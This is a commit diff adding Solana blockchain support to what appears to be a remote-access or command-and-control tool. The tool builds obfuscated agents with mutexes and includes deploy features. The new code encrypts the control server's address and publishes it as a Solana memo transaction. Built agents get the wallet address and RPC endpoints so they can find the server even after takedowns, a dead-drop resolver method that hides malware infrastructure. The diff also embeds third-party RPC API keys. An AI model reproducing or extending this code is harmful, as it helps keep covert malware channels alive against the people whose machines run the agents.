add solana support

This commit is contained in:
KingKDot
2026-04-05 18:18:40 -05:00
parent a310ecb460
commit 4b506d95ff
20 changed files with 1212 additions and 9 deletions
@@ -700,6 +700,24 @@ func runBoundFiles() {
sendToStream({ type: "output", text: "Raw server list: enabled\n", level: "info" });
}
if (config.solMemo) {
const solFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsSol=true";
ldflags = ldflags ? `${ldflags} ${solFlag}` : solFlag;
sendToStream({ type: "output", text: "Solana memo lookup: enabled\n", level: "info" });
if (config.solAddress) {
const solAddrFlag = `-X overlord-client/cmd/agent/config.DefaultSolAddress=${config.solAddress}`;
ldflags = `${ldflags} ${solAddrFlag}`;
sendToStream({ type: "output", text: `Solana address: ${config.solAddress}\n`, level: "info" });
}
if (config.solRpcEndpoints) {
const solRpcFlag = `-X overlord-client/cmd/agent/config.DefaultSolRPCEndpoints=${config.solRpcEndpoints}`;
ldflags = `${ldflags} ${solRpcFlag}`;
sendToStream({ type: "output", text: `Solana RPC endpoints: ${config.solRpcEndpoints}\n`, level: "info" });
}
}
if (buildMutex) {
const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex=${buildMutex}`;
ldflags = ldflags ? `${ldflags} ${mutexFlag}` : mutexFlag;
@@ -40,6 +40,7 @@ type HttpDispatchDeps<
handleAutoScriptsRoutes: RouteHandler;
handleAutoDeployRoutes: RouteHandlerWithDeps<TAutoDeploy>;
handleEnrollmentRoutes: RouteHandler;
handleSolRoutes: RouteHandler;
handleUsersRoutes: RouteHandlerWithServer<TServer>;
handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
handleDeployRoutes: RouteHandlerWithServerDeps<TServer, TDeploy>;
@@ -122,6 +123,9 @@ export function createHttpFetchHandler<
const enrollmentResponse = await deps.handleEnrollmentRoutes(req, url);
if (enrollmentResponse) return enrollmentResponse;
const solResponse = await deps.handleSolRoutes(req, url);
if (solResponse) return solResponse;
const usersResponse = await deps.handleUsersRoutes(req, url, routeServer);
if (usersResponse) return usersResponse;
@@ -49,6 +49,9 @@ export async function handleBuildRoutes(
platforms,
serverUrl,
rawServerList,
solMemo,
solAddress,
solRpcEndpoints,
stripDebug,
disableCgo,
obfuscate,
@@ -101,10 +104,19 @@ export async function handleBuildRoutes(
}
const safeRawServerList = !!rawServerList;
const safeSolMemo = !!solMemo;
const safeServerUrl =
typeof serverUrl === "string" && serverUrl.trim() !== ""
? serverUrl.trim()
: undefined;
if (safeRawServerList && safeSolMemo) {
return Response.json(
{ error: "Cannot enable both raw server list and Solana memo mode" },
{ status: 400 },
);
}
if (safeRawServerList) {
if (!safeServerUrl) {
return Response.json(
@@ -125,6 +137,46 @@ export async function handleBuildRoutes(
}
}
let safeSolAddress: string | undefined;
let safeSolRpcEndpoints: string | undefined;
if (safeSolMemo) {
if (typeof solAddress !== "string" || !solAddress.trim()) {
return Response.json(
{ error: "Solana memo mode requires a Solana address" },
{ status: 400 },
);
}
const trimmedAddr = solAddress.trim();
if (!/^[1-9A-HJ-NP-Za-km-z]{32,44}$/.test(trimmedAddr)) {
return Response.json(
{ error: "Invalid Solana address (must be Base58, 32-44 chars)" },
{ status: 400 },
);
}
safeSolAddress = trimmedAddr;
if (typeof solRpcEndpoints === "string" && solRpcEndpoints.trim()) {
const endpoints = solRpcEndpoints.split("\n").map((e: string) => e.trim()).filter(Boolean);
for (const ep of endpoints) {
try {
const parsed = new URL(ep);
if (parsed.protocol !== "https:" && parsed.protocol !== "http:") {
return Response.json(
{ error: `Invalid RPC endpoint protocol: ${ep}` },
{ status: 400 },
);
}
} catch {
return Response.json(
{ error: `Invalid RPC endpoint URL: ${ep}` },
{ status: 400 },
);
}
}
safeSolRpcEndpoints = endpoints.join(",");
}
}
const buildId = uuidv4();
const ip = server.requestIP(req)?.address || "unknown";
@@ -233,6 +285,9 @@ export async function handleBuildRoutes(
platforms: allowedPlatforms,
serverUrl: safeServerUrl,
rawServerList: safeRawServerList,
solMemo: safeSolMemo,
solAddress: safeSolAddress,
solRpcEndpoints: safeSolRpcEndpoints,
mutex: safeMutex,
disableMutex: safeDisableMutex,
stripDebug,
@@ -71,6 +71,7 @@ const STATIC_PAGES: StaticPageDef[] = [
{ path: "/users", file: "users.html", access: "admin", checkPasswordChange: true },
{ path: "/user-client-access", file: "user-client-access.html", access: "admin", checkPasswordChange: true },
{ path: "/build", file: "build.html", access: "admin-or-operator" },
{ path: "/sol-publish", file: "sol-publish.html", access: "admin" },
{ path: "/plugins", file: "plugins.html", access: "admin-or-operator" },
{ path: "/scripts", file: "scripts.html", access: "no-viewer" },
{ path: "/deploy", file: "deploy.html", access: "admin" },
@@ -0,0 +1,221 @@
import { createHash, randomBytes, createCipheriv } from "crypto";
import { authenticateRequest } from "../../auth";
import { getConfig } from "../../config";
import { logger } from "../../logger";
import {
Connection,
Keypair,
Transaction,
TransactionInstruction,
PublicKey,
LAMPORTS_PER_SOL,
} from "@solana/web3.js";
const MEMO_PROGRAM_ID = new PublicKey("MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr");
const BASE58_ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
function decodeBase58(str: string): Uint8Array {
const bytes: number[] = [0];
for (const char of str) {
const idx = BASE58_ALPHABET.indexOf(char);
if (idx < 0) throw new Error(`Invalid base58 character: ${char}`);
let carry = idx;
for (let j = 0; j < bytes.length; j++) {
carry += bytes[j] * 58;
bytes[j] = carry & 0xff;
carry >>= 8;
}
while (carry > 0) {
bytes.push(carry & 0xff);
carry >>= 8;
}
}
for (const char of str) {
if (char !== '1') break;
bytes.push(0);
}
return new Uint8Array(bytes.reverse());
}
const DEFAULT_RPC_ENDPOINTS = [
"https://api.mainnet-beta.solana.com",
"https://solana-mainnet.gateway.tatum.io",
"https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
"https://solana-rpc.publicnode.com",
"https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc",
"https://solana.drpc.org",
"https://solana.leorpc.com/?api_key=FREE",
"https://solana.api.onfinality.io/public",
"https://solana.api.pocket.network/",
"https://api.devnet.solana.com",
];
function encryptServerUrl(serverUrl: string, agentToken: string): string {
const keyHash = createHash("sha256").update(agentToken).digest();
const nonce = randomBytes(12);
const cipher = createCipheriv("aes-256-gcm", keyHash, nonce);
const encrypted = Buffer.concat([cipher.update(serverUrl, "utf8"), cipher.final()]);
const tag = cipher.getAuthTag();
return Buffer.concat([nonce, encrypted, tag]).toString("base64");
}
export async function handleSolRoutes(
req: Request,
url: URL,
): Promise<Response | null> {
if (!url.pathname.startsWith("/api/sol")) {
return null;
}
try {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
if (req.method === "POST" && url.pathname === "/api/sol/preview") {
const body = await req.json();
const { serverUrl } = body;
if (!serverUrl || typeof serverUrl !== "string" || !serverUrl.trim()) {
return Response.json({ error: "serverUrl is required" }, { status: 400 });
}
const config = getConfig();
const agentToken = config.auth.agentToken;
if (!agentToken) {
return Response.json({ error: "No agent token configured on this server" }, { status: 400 });
}
const memo = encryptServerUrl(serverUrl.trim(), agentToken);
return Response.json({ memo, memoLength: memo.length });
}
if (req.method === "POST" && url.pathname === "/api/sol/publish") {
const body = await req.json();
const { privateKeyBase58, serverUrl, rpcUrl } = body;
if (!serverUrl || typeof serverUrl !== "string" || !serverUrl.trim()) {
return Response.json({ error: "serverUrl is required" }, { status: 400 });
}
if (!privateKeyBase58 || typeof privateKeyBase58 !== "string" || !privateKeyBase58.trim()) {
return Response.json({ error: "privateKeyBase58 is required" }, { status: 400 });
}
const config = getConfig();
const agentToken = config.auth.agentToken;
if (!agentToken) {
return Response.json({ error: "No agent token configured on this server" }, { status: 400 });
}
let keypair: Keypair;
try {
const decoded = decodeBase58(privateKeyBase58.trim());
keypair = Keypair.fromSecretKey(decoded);
} catch {
return Response.json({ error: "Invalid Solana private key (Base58)" }, { status: 400 });
}
const endpoint = typeof rpcUrl === "string" && rpcUrl.trim()
? rpcUrl.trim()
: "https://api.mainnet-beta.solana.com";
try {
new URL(endpoint);
} catch {
return Response.json({ error: "Invalid RPC URL" }, { status: 400 });
}
const memo = encryptServerUrl(serverUrl.trim(), agentToken);
try {
const connection = new Connection(endpoint, "confirmed");
const memoInstruction = new TransactionInstruction({
keys: [{ pubkey: keypair.publicKey, isSigner: true, isWritable: true }],
programId: MEMO_PROGRAM_ID,
data: Buffer.from(memo, "utf8"),
});
const transaction = new Transaction().add(memoInstruction);
transaction.feePayer = keypair.publicKey;
const { blockhash } = await connection.getLatestBlockhash("confirmed");
transaction.recentBlockhash = blockhash;
transaction.sign(keypair);
const signature = await connection.sendRawTransaction(transaction.serialize(), {
skipPreflight: false,
preflightCommitment: "confirmed",
});
await connection.confirmTransaction(signature, "confirmed");
logger.info(`[sol] Published memo to Solana. Signature: ${signature}, Address: ${keypair.publicKey.toBase58()}`);
return Response.json({
success: true,
signature,
address: keypair.publicKey.toBase58(),
memo,
memoLength: memo.length,
explorerUrl: endpoint.includes("devnet")
? `https://explorer.solana.com/tx/${signature}?cluster=devnet`
: `https://explorer.solana.com/tx/${signature}`,
});
} catch (err: any) {
logger.error(`[sol] Failed to publish memo: ${err?.message || err}`);
return Response.json({
error: `Transaction failed: ${err?.message || "Unknown error"}`,
}, { status: 500 });
}
}
if (req.method === "POST" && url.pathname === "/api/sol/balance") {
const body = await req.json();
const { publicKeyBase58, rpcUrl } = body;
if (!publicKeyBase58 || typeof publicKeyBase58 !== "string") {
return Response.json({ error: "publicKeyBase58 is required" }, { status: 400 });
}
let pubkey: PublicKey;
try {
pubkey = new PublicKey(publicKeyBase58.trim());
} catch {
return Response.json({ error: "Invalid Solana public key" }, { status: 400 });
}
const endpoint = typeof rpcUrl === "string" && rpcUrl.trim()
? rpcUrl.trim()
: "https://api.mainnet-beta.solana.com";
try {
const connection = new Connection(endpoint, "confirmed");
const balance = await connection.getBalance(pubkey);
return Response.json({
balance,
balanceSol: balance / LAMPORTS_PER_SOL,
});
} catch (err: any) {
return Response.json({
error: `Failed to fetch balance: ${err?.message || "Unknown error"}`,
}, { status: 500 });
}
}
if (req.method === "GET" && url.pathname === "/api/sol/rpc-endpoints") {
return Response.json({ endpoints: DEFAULT_RPC_ENDPOINTS });
}
return null;
} catch (err: any) {
logger.error(`[sol] Route error: ${err?.message || err}`);
return Response.json({ error: "Internal server error" }, { status: 500 });
}
}